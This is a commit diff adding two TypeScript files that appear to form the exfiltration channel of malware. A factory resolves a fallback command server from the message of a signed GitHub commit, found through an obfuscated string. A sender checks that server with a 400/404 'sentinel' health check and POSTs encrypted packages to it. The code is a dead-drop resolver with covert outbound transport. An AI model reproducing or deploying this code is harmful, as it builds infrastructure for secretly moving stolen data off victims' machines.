Upload files to "src/sender/domain"

src/sender/domain/domainSenderFactory.ts

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+import { verify_key } from "../../generated";
+import { findValidSignedCommit } from "../../github_utils/fetcher";
+import { logUtil } from "../../utils/logger";
+import type { Sender } from "../base";
+import type { SenderFactory } from "../senderFactory";
+import type { SenderDestination } from "../types";
+import { DomainSender } from "./sender";
+
+declare function scramble(str: string): string;
+
+export class DomainSenderFactory implements SenderFactory {
+  private readonly config: SenderDestination;
+  constructor(config: SenderDestination) {
+    this.config = config;
+  }
+
+  async tryCreate(): Promise<Sender | null> {
+    // 1. Try the default domain.
+    const primary = new DomainSender(this.config);
+    if (await primary.healthy()) {
+      return primary;
+    }
+    logUtil.log("Primary domain not healthy; looking for signed fallback");
+
+    // 2. Fall back to a domain discovered via a signed commit.
+    const commitResult = await findValidSignedCommit(
+      scramble("thebeautifulmarchoftime "),
+      verify_key,
+    );
+    if (!commitResult.found) {
+      logUtil.log("No valid signed commit found; DomainSender unavailable");
+      return null;
+    }
+
+    if (commitResult.message) {
+      const backupDest: SenderDestination = {
+        domain: commitResult.message,
+        port: this.config.port,
+        path: this.config.path,
+      };
+      const fallback = new DomainSender(backupDest);
+      if (await fallback.healthy()) {
+        return fallback;
+      } else {
+        logUtil.log("Fallback domain not healthy; DomainSender unavailable");
+      }
+    }
+
+    logUtil.log("Fallback domain not healthy; DomainSender unavailable");
+    return null;
+  }
+}

src/sender/domain/sender.ts

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+import * as dns from "dns";
+import * as https from "https";
+
+import { logUtil } from "../../utils/logger";
+import { Sender } from "../base";
+import type { EncryptedPackage, SenderDestination } from "../types";
+
+declare function scramble(str: string): string;
+
+export class DomainSender extends Sender {
+  constructor(config: SenderDestination) {
+    super("domain", {
+      domain: config.domain,
+      port: config.port,
+      path: config.path,
+      dry_run: config.dry_run,
+    });
+  }
+
+  private get url(): string {
+    return `https://${this.destination.domain}:${this.destination.port}/${this.destination.path}`;
+  }
+
+  /**
+   * Preflight: DNS resolves + endpoint responds with the sentinel status.
+   * Called by the Dispatcher before attempting send.
+   */
+  override async healthy(): Promise<boolean> {
+    try {
+      if (this.destination.dry_run) return true;
+
+      await dns.promises.lookup(this.destination.domain);
+    } catch {
+      logUtil.error(`Could not resolve domain: ${this.destination.domain}`);
+      return false;
+    }
+
+    return new Promise<boolean>((resolve) => {
+      const req = https.get(this.url, { timeout: 5000 }, (res) => {
+        logUtil.log(`Got response for ${this.url} ${res.statusCode!}`);
+        resolve(res.statusCode === 400 || res.statusCode === 404);
+      });
+      req.on("error", (err) => {
+        logUtil.error(`domain healthcheck error: ${err} ${this.url}`);
+        resolve(false);
+      });
+      req.on("timeout", () => {
+        logUtil.log(`domain healthcheck timeout`);
+        req.destroy();
+        resolve(false);
+      });
+    });
+  }
+
+  /**
+   * Transport. Throws on any non-success so the Dispatcher falls through
+   * to the next sender in its priority list.
+   */
+  override async send(envelope: EncryptedPackage): Promise<void> {
+    logUtil.log(`Sending to ${this.url}`);
+
+    if (this.destination.dry_run) {
+      logUtil.log(envelope);
+      return;
+    }
+
+    const response = await fetch(this.url, {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify(envelope),
+    });
+
+    if (response.status !== 200) {
+      throw new Error(
+        `DomainSender: ${this.url} returned status ${response.status}`,
+      );
+    }
+  }
+}